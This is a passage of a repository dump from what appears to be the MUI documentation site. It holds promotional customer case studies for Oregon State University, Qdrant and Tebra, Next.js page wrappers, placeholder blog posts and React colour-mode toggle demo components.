    "content": "---\ntitle: Oregon State University\ndescription: How Oregon State University transformed course planning with the MUI X Data Grid.\nimage: '/static/branding/companies/oregon.svg'\ntags: ['MUI X']\nrank: '10'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n<img\n    id=\"blog-responsive-image\"\n    src=\"/static/branding/companies/oregon.svg\"\n    alt=\"Oregon logo\"\n    style=\"width: 40%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n\n**Partner Since: 2021**\n\n## Overview\n\n[Oregon State University](https://oregonstate.edu/) is a premier public land-grant research university located in Corvallis, Oregon, recognized for innovation, world-class research, and a diverse academic environment with strong community engagement and global impact.\nTo improve their course planning and faculty assignment, they developed Resource Insights, an application for managing course sections, faculty availability, and student demand.\nIt replaced outdated Excel-based methods with a modern online system.\nThe tool integrates with existing university systems to provide real-time enrollment data, eliminating manual data entry.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X provides the right balance of performance, customization, and React integration. If you need a scalable, spreadsheet-like experience in your web app, it's definitely worth considering.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – Mark Clements, Manager, Software Development & Quality\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X provides the right balance of performance, customization, and React integration. If you need a scalable, spreadsheet-like experience in your web app, it's definitely worth considering.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – Mark Clements, Manager, Software Development & Quality\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nThe university needed a robust solution to handle tabular data efficiently.\nPlanners and administrators required a system that could provide spreadsheet-like interactions, allowing them to filter, sort, and manipulate data dynamically.\nKey challenges included:\n\n- Lack of real-time data integration in current processes.\n- The need for an Excel-like experience in a web-based tool.\n- Finding a library that was well-supported, actively maintained, and built specifically for React.\n- Ensuring high performance and customization while keeping the UI intuitive.\n  While alternatives like AG Grid were considered, MUI X was preferred because it's deeply integrated with React, whereas AG Grid's approach spans multiple frontend frameworks, leading to inconsistencies in React implementations.\n\n## Solution\n\nThe team adopted the Data Grid as the core component for handling tabular data.\nThis choice was driven by its extensive feature set, including:\n\n- Column manipulation – Moving, sorting, filtering, and grouping columns for enhanced usability.\n- Row grouping – Organizing complex datasets for better visualization.\n- Built-in editing – Allowing users to modify data directly within the grid.\n- Custom components – Integration of an autocomplete feature within cells to handle thousands of course options efficiently.\n\nThe Data Grid's customization capabilities allowed the team to build an interface tailored to the university's needs, providing a seamless transition from Excel while leveraging MUI's robust React foundation.\n\n## Results\n\n- Faster and more intuitive workflows – Replacing spreadsheets with an interactive grid improved efficiency in faculty and course planning.\n- Custom editing interfaces – In-cell editing for simple data and modal-based forms for complex changes streamlined data management.\n- Seamless system integration – Real-time enrollment data updates reduced manual input errors.\n- Developer-friendly implementation – MUI X's well-structured documentation and conventions enabled smooth adoption.\n\nThe Resource Insights team sees the Data grid as an essential component for projects requiring complex tabular interactions.\n"
  },
  {
    "path": "docs/pages/customers/qdrant.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './qdrant.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/qdrant.md",
    "content": "---\ntitle: Qdrant\ndescription: Accelerating feature delivery as a rising vector database provider.\nimage: '/static/branding/companies/qdrant_spotlight.svg'\ntags: ['MUI X']\nrank: '1'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# Qdrant | Accelerating feature delivery as a rising vector database provider\n\n<img\n  id=\"blog-responsive-image\"\n  src=\"/static/branding/companies/headers/qdrant-header.png\"\n  alt=\"Qdrant logo\"\n  style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n\n## Overview\n\n[Qdrant](https://qdrant.tech/) is an open-source vector database provider with over 25k GitHub stars. Thousands of companies use Qdrant to make sense of their unstructured data through advanced search, recommendation, and other AI capabilities. After a $30M Series-A funding, Qdrant needed to transition into a sustainable business.\n\nTheir frontend team uses Material UI across all of their products, websites, and dashboards.\nAfter starting with MUI's open-source components, Qdrant upgraded to a perpetual Pro license for the Date Range Picker, with further plans to explore Data Grid and Charts.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  Having built a date range picker from scratch before, I know firsthand how challenging and time-consuming it can be—it's truly a nightmare. I decided to use the MUI X date range picker. I simply read the documentation, plugged it in, and it worked seamlessly. Honestly, it was a delight.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/josep-fornies-escola/\" target=\"_blank\" rel=\"noopener\">Josep Fornies</a>, Senior Frontend Developer\n  </span>\n</blockquote>\n</span>\n\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  Having built a date range picker from scratch before, I know firsthand how challenging and time-consuming it can be—it's truly a nightmare. I decided to use the MUI X date range picker. I simply read the documentation, plugged it in, and it worked seamlessly. Honestly, it was a delight.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/josep-fornies-escola/\" target=\"_blank\" rel=\"noopener\">Josep Fornies</a>, Senior Frontend Developer\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nAs a startup in the competitive vector database space, Qdrant faced several critical challenges:\n\n- Speed-to-market pressure – The team needed to \"move fast and break things\" while building their core product. Fast prototyping and rapid development cycles were essential to stay competitive and meet growing customer demands.\n\n- Limited date selection functionality – Their existing date selection interface was restrictive, offering only presets for periods like a month, a week, or a day. This limitation prevented users from performing granular, custom date-based queries on their vector data—a critical requirement for enterprise customers.\n\n- JavaScript date complexity – Joseph, a frontend developer at Qdrant, described implementing custom date pickers from scratch as \"a nightmare\" due to the inherent complexity of JavaScript date handling. The team needed a robust, battle-tested solution rather than building on their own.\n\n- Design consistency – With a small team of developers and limited design resources, maintaining a cohesive, professional interface across multiple products was challenging.\n\n## Solution\n\nQdrant adopted Material UI as their primary frontend component library, leveraging both open-source and Pro components:\n\n- Comprehensive component usage – The team had prior experience with Material UI from their previous projects and choosing it again was a no-brainer. They implemented MUI components extensively across their entire product suite, using everything from primitive elements like appbars and menus to advanced components.\n\n- Pro license upgrade – After recognizing the value of MUI's advanced components through the community plan, Qdrant purchased a perpetual Pro license specifically for the Date Range Picker, with plans to integrate Data Grid and Charts. The buying process was smooth and the team was able to get started quickly.\n\n- Design system integration – The team utilized MUI's Figma design kit and theme extractor to streamline their design-to-development workflow. This allowed their limited design team to create consistent interfaces using pre-built components.\n\n<img\n  id=\"qdrant-ui\"\n  src=\"/static/branding/companies/qdrant_ui.png\"\n  alt=\"\"\n  style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n\nIn the image above from MUI's Qdrant dashboard (yes, we're their customer, too!), the MUI X Date Time Picker has been used to enable the date-time range selection functionality.\n\n## Results\n\nQdrant achieved significant improvements in both development velocity and UX after adopting MUI.\nThe implementation of the Date Range Picker was quick and elevated their date selection interface from simple presets to a robust system with options like \"last 5 minutes,\" \"last 1 hour,\" \"today,\" and fully custom date ranges.\n\nThe plug-and-play nature of MUI components greatly accelerated development by removing the pain and complexity of building custom solutions.\nAs Joseph noted, implementing date pickers from scratch would have been challenging, but with MUI, it was a matter of straightforward configuration and integration.\n\n## Developer experience\n\nQdrant's development team consistently praised MUI's developer experience.\nThe team highlighted MUI's comprehensive documentation, well-documented APIs, and clear migration guides as standout features that accelerated their implementation process. They liked how the components work immediately with minimal configuration.\n\nThe team also appreciated the official MCP server from MUI, and said that it had enhanced agent–driven development. They were also introduced to MUI Chat, the latest AI product from MUI, which enables developers to build with MUI components using natural language prompts. The team agreed that this would accelerate their development speed even more.\nThe team appreciated having multiple support channels available, including GitHub for technical issues, Zendesk for billing support, and comprehensive online resources for general inquiries.\n\nThe success of MUI at Qdrant shows how the right component library can enable startups to focus on their core product innovation while maintaining professional, scalable user interfaces.\n"
  },
  {
    "path": "docs/pages/customers/tebra.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './tebra.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/tebra.md",
    "content": "---\ntitle: Tebra\ndescription: Modernizing legacy reporting systems in healthcare.\nimage: '/static/branding/companies/tebra_spotlight.svg'\ntags: ['MUI X']\nrank: '2'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# Tebra | Modernizing legacy reporting systems in healthcare\n\n<img\n    id=\"blog-responsive-image\"\n    src=\"/static/branding/companies/headers/tebra-header.png\"\n    alt=\"Tebra logo\"\n    style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n\n## Overview\n\n[Tebra](https://www.tebra.com/) is a healthcare technology company that has been in the market for over a decade.\nAs their platform evolved over the years, they accumulated a mix of legacy technologies including JSPs, Angular, and various React implementations, creating inconsistent UX across their platform.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  Searching in the grid is an absolute killer feature for us. Everything loads to the client-side, and now you can search anything—and the search is so fast and amazing.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/ronen-akiva-2881303/\" target=\"_blank\" rel=\"noopener\">Ronen Akiva</a>, Senior Director of Engineering\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  Searching in the grid is an absolute killer feature for us. Everything loads to the client-side, and now you can search anything—and the search is so fast and amazing.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/ronen-akiva-2881303/\" target=\"_blank\" rel=\"noopener\">Ronen Akiva</a>, Senior Director of Engineering\n  </span>\n</blockquote>\n</span>\n\nRonen leads the teams responsible for embedding MUI components into their design system and managing billing and payments infrastructure.\nWith nearly six years at the company, Ronen spearheaded the initiative to modernize Tebra's reporting capabilities and create a unified design system.\n\n## Challenge\n\nTebra faced several critical challenges with their legacy reporting system:\n\n- Fragmented technology stack - The platform consisted of multiple technology generations - JSPs, Angular, and different React implementations - all trying to maintain the same look and feel but with vastly different behaviors and codebases.\n- Static, limited reporting - Their existing reports were largely static HTML pages or basic tables with minimal functionality. Users couldn't filter, search, sort, or group data effectively, capabilities that had been standard in desktop applications for fifteen years.\n- Maintenance overhead - Implementing new features across multiple technology stacks required separate implementations in different places, increasing development costs and introducing more bugs.\n- Inconsistent UX - Users encountered dramatically different experiences depending on which part of the platform they accessed - some screens felt \"old and antiquated\" while others offered modern functionality.\n- Performance constraints - The team had to implement complex throttling and pagination systems to manage large datasets, creating architectural constraints that limited reporting capabilities.\n\n## Solution\n\nHere's how Tebra adopted the Data Grid as the cornerstone of their modernization strategy and solved the aforementioned challenges:\n\n- Unified design system - They built a comprehensive design system using MUI components, with the Data Grid serving as the foundation for all reporting experiences across the platform.\n\n- Advanced grid capabilities - The team implemented sophisticated features including:\n  - Dynamic filtering with custom external filter components\n  - Fast client-side search across up to 10,000 rows\n  - Grouping and summarization functionality\n  - Customizable row density for improved readability\n  - Advanced sorting capabilities\n\n- Architectural optimization - They moved from database-heavy pagination to client-side data loading, enabling lightning-fast search and filtering while maintaining performance through strategic data limits.\n\n- Custom enhancements - Tebra extended the base functionality with:\n  - Reusable filter components with business logic\n  - Adjustable row height controls for user preference\n  - Integration with their existing style sheets and branding\n\n## Results\n\nThe implementation improved the UX across Tebra's entire ecosystem.\nReports evolved from static displays to interactive interfaces that users expect in contemporary applications.\nThe unified design system enabled teams to migrate legacy experiences seamlessly, speeding up development cycles.\nThe Data Grid served as a catalyst in this process thanks to its built-in client-side search, with the improved data loading capabilities providing instantaneous search results while maintaining a high level of performance.\nThis enabled the team to completely eliminate the complex throttling mechanisms they had previously relied upon.\n\nBeyond immediate technical benefits, the standardized component library created a foundation for accelerated AI-assisted development workflows.\nThe architecture is now well prepared for advanced features like lazy loading, which will further simplify the handling of larger datasets.\nTebra is actively exploring additional features like Pivot Tables for their upcoming analytics dashboards.\n\n## Developer Experience\n\nExceptional documentation - Ronen praised MUI's documentation as \"phenomenal,\" enabling teams to test and demo features without writing custom code, and helping sell the component capabilities to non-technical stakeholders.\n\nSeamless integration - Since Tebra was already using the open-source MUI libraries, adopting the Data Grid was a natural progression that avoided vendor proliferation.\n\nThe team values the ongoing relationship with MUI and the ability to influence the product roadmap through feedback and potential feature requests.\n"
  },
  {
    "path": "docs/pages/customers.tsx",
    "content": "import * as React from 'react';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\nimport CustomersHero from 'docs/src/components/customers/CustomersHero';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport Head from 'docs/src/modules/components/Head';\nimport Box from '@mui/material/Box';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport Divider from '@mui/material/Divider';\nimport CustomersSpotlight from 'docs/src/components/customers/CustomersSpotlight';\nimport CustomersLogoSlider from 'docs/src/components/customers/CustomersLogoSlider';\nimport { getCaseStudies } from 'docs/lib/sourcing';\nimport { InferGetStaticPropsType } from 'next';\nimport CustomersTestimonials from 'docs/src/components/customers/CustomersTestimonials';\nimport CustomersHeroEnd from 'docs/src/components/customers/CustomersHeroEnd';\n\nexport const getStaticProps = () => {\n  const customers = getCaseStudies();\n  return {\n    props: {\n      customers,\n    },\n  };\n};\n\nexport default function Customers(props: InferGetStaticPropsType<typeof getStaticProps>) {\n  return (\n    <BrandingCssVarsProvider>\n      <Head title=\"Customers - MUI\" description=\"Meet the teams powered by MUI\" />\n      <AppHeaderBanner />\n      <AppHeader />\n      <Divider />\n      <main id=\"main-content\">\n        <CustomersHero />\n        <CustomersLogoSlider />\n        <Box\n          component=\"ul\"\n          sx={{\n            display: 'grid',\n            m: 0,\n            p: 0,\n            gap: 2,\n          }}\n        >\n          <CustomersSpotlight customers={props.customers} />\n        </Box>\n        <CustomersTestimonials />\n        <Divider />\n        <CustomersHeroEnd />\n        <Divider />\n      </main>\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/design-kits.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport DesignKitHero from 'docs/src/components/productDesignKit/DesignKitHero';\nimport DesignKitValues from 'docs/src/components/productDesignKit/DesignKitValues';\nimport DesignKitDemo from 'docs/src/components/productDesignKit/DesignKitDemo';\nimport DesignKitFAQ from 'docs/src/components/productDesignKit/DesignKitFAQ';\nimport MaterialEnd from 'docs/src/components/productMaterial/MaterialEnd';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport References, { DESIGNKITS_CUSTOMERS } from 'docs/src/components/home/References';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\n\nexport default function DesignKits() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Material UI in your favorite design tool\"\n        description=\"Pick your favorite design tool to enjoy and use Material UI components. Boost consistency and facilitate communication when working with developers.\"\n        card=\"/static/social-previews/designkits-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader gitHubRepository=\"https://github.com/mui/mui-design-kits\" />\n      <main id=\"main-content\">\n        <DesignKitHero />\n        <References companies={DESIGNKITS_CUSTOMERS} />\n        <Divider />\n        <DesignKitValues />\n        <Divider />\n        <DesignKitDemo />\n        <Divider />\n        <Divider />\n        <DesignKitFAQ />\n        <Divider />\n        <MaterialEnd noFaq />\n      </main>\n      <Divider />\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/blog/blog-custom-card.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './blog-custom-card.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/blog/blog-custom-card.md",
    "content": "---\ntitle: Blog post title\ndescription: Our internationally distributed startup gathered on a remote island to get to know each other better. Here's what happened!\ndate: 2022-07-28T00:00:00.000Z\nauthors: ['alexfauquette']\ntags: ['Company']\nmanualCard: false\ncardTitle: blog with\\n*custom* card\n---\n\n## Description\n\n### Image\n\n<img alt=\"Satellite image of Tenerife\" src=\"/static/blog/2022-tenerife-retreat/tenerife.jpeg\" width=\"2560\" height=\"1920\" />\n\n<p class=\"blog-description\">An image description <a href=\"https://en.wikipedia.org/wiki/Tenerife\">with a link</a>.</p>\n\nMore text below.\n\n### Code\n\n```jsx\n// add margin: 8px 0px;\n<Slider sx={{ my: 1 }} />\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/nostalgic-williams-zmo5r?file=/src/App.js\">CodeSandbox</a></p>\n\nMore text below.\n"
  },
  {
    "path": "docs/pages/experiments/blog/blog.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './blog.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/blog/blog.md",
    "content": "---\ntitle: Blog post title\ndescription: Our internationally distributed startup gathered on a remote island to get to know each other better. Here's what happened!\ndate: 2022-07-28T00:00:00.000Z\nauthors: ['samuelsycamore']\ntags: ['Company']\nmanualCard: false\n---\n\n## Description\n\n### Image\n\n<img alt=\"Satellite image of Tenerife\" src=\"/static/blog/2022-tenerife-retreat/tenerife.jpeg\" width=\"2560\" height=\"1920\" />\n\n<p class=\"blog-description\">An image description <a href=\"https://en.wikipedia.org/wiki/Tenerife\">with a link</a>.</p>\n\nMore text below.\n\n### Code\n\n```jsx\n// add margin: 8px 0px;\n<Slider sx={{ my: 1 }} />\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/nostalgic-williams-zmo5r?file=/src/App.js\">CodeSandbox</a></p>\n\nMore text below.\n"
  },
  {
    "path": "docs/pages/experiments/docs/DemoInDocs.js",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function DemoInDocs() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"info\">This is an info alert — check it out!</Alert>\n      <Alert severity=\"success\">This is a success alert — check it out!</Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/DemoInDocs.tsx.preview",
    "content": "<Alert severity=\"info\">This is an info alert — check it out!</Alert>\n<Alert severity=\"success\">This is a success alert — check it out!</Alert>"
  },
  {
    "path": "docs/pages/experiments/docs/DemoInDocsNotEditable.js",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function DemoInDocs() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"info\">This is an info alert — check it out!</Alert>\n      <Alert severity=\"success\">This is a success alert — check it out!</Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/DemoInDocsNotEditable.tsx.preview",
    "content": "<Alert severity=\"info\">This is an info alert — check it out!</Alert>\n<Alert severity=\"success\">This is a success alert — check it out!</Alert>"
  },
  {
    "path": "docs/pages/experiments/docs/DemoModeToggle.js",
    "content": "import DarkMode from '@mui/icons-material/DarkMode';\nimport LightMode from '@mui/icons-material/LightMode';\nimport DvrIcon from '@mui/icons-material/Dvr';\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Radio, { radioClasses } from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\n\nconst size = '44px';\nconst gap = '4px';\n\nexport function ColorSchemeTabsBasic() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return (\n      <Box\n        sx={{\n          display: 'grid',\n          alignItems: 'center',\n          height: '44px',\n          gap,\n          opacity: 0.5,\n          gridTemplateColumns: `repeat(3, ${size})`,\n          placeItems: 'center',\n          color: 'text.primary',\n          '& > div': { lineHeight: 0 },\n          '& svg': { transform: 'scale(0.8)' },\n        }}\n      >\n        <div>\n          <LightMode />\n        </div>\n        <div>\n          <DvrIcon />\n        </div>\n        <div>\n          <DarkMode />\n        </div>\n      </Box>\n    );\n  }\n  return (\n    <RadioGroup\n      defaultValue=\"system\"\n      row\n      aria-label=\"demo-mode-toggle\"\n      name=\"color-scheme-segmented-control\"\n      sx={{\n        display: 'flex',\n        gap,\n        '& svg': { transform: 'scale(0.8)', transition: '0.2s' },\n        [`& .${radioClasses.checked} svg`]: { transform: 'scale(1)' },\n        [`& .${radioClasses.root}`]: {\n          width: size,\n          height: size,\n          border: '1px solid transparent',\n          borderRadius: '8px',\n          [`&.${radioClasses.checked}`]: {\n            border: '1px solid',\n            borderColor: 'divider',\n            color: 'text.primary',\n          },\n        },\n        '& label': { margin: 0 },\n      }}\n      onChange={(event) => {\n        setMode(event.target.value);\n      }}\n    >\n      <FormControlLabel\n        value=\"light\"\n        control={\n          <Radio\n            color=\"default\"\n            disableTouchRipple\n            checkedIcon={<LightMode />}\n            icon={<LightMode />}\n          />\n        }\n        label=\"\"\n      />\n      <FormControlLabel\n        value=\"system\"\n        control={\n          <Radio color=\"default\" disableTouchRipple checkedIcon={<DvrIcon />} icon={<DvrIcon />} />\n        }\n        label=\"\"\n      />\n      <FormControlLabel\n        value=\"dark\"\n        control={\n          <Radio\n            color=\"default\"\n            disableTouchRipple\n            checkedIcon={<DarkMode />}\n            icon={<DarkMode />}\n          />\n        }\n        label=\"\"\n      />\n    </RadioGroup>\n  );\n}\n\nexport default function DemoInDocs(props) {\n  return (\n    <ThemeProvider\n      {...props}\n      theme={createTheme({\n        colorSchemes: { light: true, dark: true },\n        cssVariables: {\n          cssVarPrefix: props.cssVarPrefix,\n          colorSchemeSelector: props.colorSchemeSelector || 'class',\n        },\n      })}\n    >\n      <Paper\n        data-element=\"demo-mode-toggle-paper\"\n        sx={{\n          p: 2,\n          width: '100%',\n          display: 'flex',\n          justifyContent: 'center',\n        }}\n      >\n        <ColorSchemeTabsBasic />\n      </Paper>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/DemoModeToggleCustomTheme.js",
    "content": "import { red } from '@mui/material/colors';\nimport DarkMode from '@mui/icons-material/DarkMode';\nimport LightMode from '@mui/icons-material/LightMode';\nimport DvrIcon from '@mui/icons-material/Dvr';\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Radio, { radioClasses } from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\n\nconst size = '44px';\nconst gap = '4px';\n\nexport function ColorSchemeTabsBasic() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return (\n      <Box\n        sx={{\n          display: 'grid',\n          alignItems: 'center',\n          height: '44px',\n          gap,\n          opacity: 0.5,\n          gridTemplateColumns: `repeat(3, ${size})`,\n          placeItems: 'center',\n          color: 'text.primary',\n          '& > div': { lineHeight: 0 },\n          '& svg': { transform: 'scale(0.8)' },\n        }}\n      >\n        <div>\n          <LightMode />\n        </div>\n        <div>\n          <DvrIcon />\n        </div>\n        <div>\n          <DarkMode />\n        </div>\n      </Box>\n    );\n  }\n  return (\n    <RadioGroup\n      defaultValue=\"system\"\n      row\n      aria-label=\"demo-mode-toggle-custom-theme\"\n      name=\"color-scheme-segmented-control\"\n      sx={{\n        display: 'flex',\n        gap,\n        '& svg': { transform: 'scale(0.8)', transition: '0.2s' },\n        [`& .${radioClasses.checked} svg`]: { transform: 'scale(1)' },\n        [`& .${radioClasses.root}`]: {\n          width: size,\n          height: size,\n          border: '1px solid transparent',\n          borderRadius: '8px',\n          [`&.${radioClasses.checked}`]: {\n            border: '1px solid',\n            borderColor: 'divider',\n            color: 'text.primary',\n          },\n        },\n        '& label': { margin: 0 },\n      }}\n      onChange={(event) => {\n        setMode(event.target.value);\n      }}\n    >\n      <FormControlLabel\n        value=\"light\"\n        control={\n          <Radio\n            color=\"default\"\n            disableTouchRipple\n            checkedIcon={<LightMode />}\n            icon={<LightMode />}\n          />\n        }\n        label=\"\"\n      />\n      <FormControlLabel\n        value=\"system\"\n        control={\n          <Radio color=\"default\" disableTouchRipple checkedIcon={<DvrIcon />} icon={<DvrIcon />} />\n        }\n        label=\"\"\n      />\n      <FormControlLabel\n        value=\"dark\"\n        control={\n          <Radio\n            color=\"default\"\n            disableTouchRipple\n            checkedIcon={<DarkMode />}\n            icon={<DarkMode />}\n          />\n        }\n        label=\"\"\n      />\n    </RadioGroup>\n  );\n}\n\nexport default function DemoModeToggleCustomTheme(props) {\n  const theme = createTheme({\n    cssVariables: {\n      cssVarPrefix: props.cssVarPrefix,\n      colorSchemeSelector: props.colorSchemeSelector || 'class',\n    },\n    colorSchemes: {\n      light: {\n        palette: {\n          background: {\n            paper: red[200],\n          },\n        },\n      },\n      dark: {\n        palette: {\n          background: {\n            paper: red[900],\n          },\n        },\n      },\n    },\n  });\n  return (\n    <ThemeProvider {...props} theme={theme}>\n      <Paper\n        data-element=\"demo-mode-toggle-custom-theme-paper\"\n        sx={{\n          p: 2,\n          width: '100%',\n          display: 'flex',\n          justifyContent: 'center',\n        }}\n      >\n        <ColorSchemeTabsBasic />\n      </Paper>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/DemoModeToggleIframe.js",
    "content": "import DarkMode from '@mui/icons-material/DarkMode';\nimport LightMode from '@mui/icons-material/LightMode';\nimport DvrIcon from '@mui/icons-material/Dvr';\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Radio, { radioClasses } from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\n\nconst size = '44px';\nconst gap = '4px';\n\nexport function ColorSchemeTabsBasic() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return (\n      <Box\n        sx={{\n          display: 'grid',\n          alignItems: 'center',\n          height: '44px',\n          gap,\n          opacity: 0.5,\n          gridTemplateColumns: `repeat(3, ${size})`,\n          placeItems: 'center',\n          color: 'text.primary',\n          '& > div': { lineHeight: 0 },\n          '& svg': { transform: 'scale(0.8)' },\n        }}\n      >\n        <div>\n          <LightMode />\n        </div>\n        <div>\n          <DvrIcon />\n        </div>\n        <div>\n          <DarkMode />\n        </div>\n      </Box>\n    );\n  }\n  return (\n    <RadioGroup\n      defaultValue=\"system\"\n      row\n      aria-label=\"demo-mode-toggle-iframe\"\n      name=\"color-scheme-segmented-control\"\n      sx={{\n        display: 'flex',\n        gap,\n        '& svg': { transform: 'scale(0.8)', transition: '0.2s' },\n        [`& .${radioClasses.checked} svg`]: { transform: 'scale(1)' },\n        [`& .${radioClasses.root}`]: {\n          width: size,\n          height: size,\n          border: '1px solid transparent',\n          borderRadius: '8px',\n          [`&.${radioClasses.checked}`]: {\n            border: '1px solid',\n            borderColor: 'divider',\n            color: 'text.primary',\n          },\n        },\n        '& label': { margin: 0 },\n      }}\n      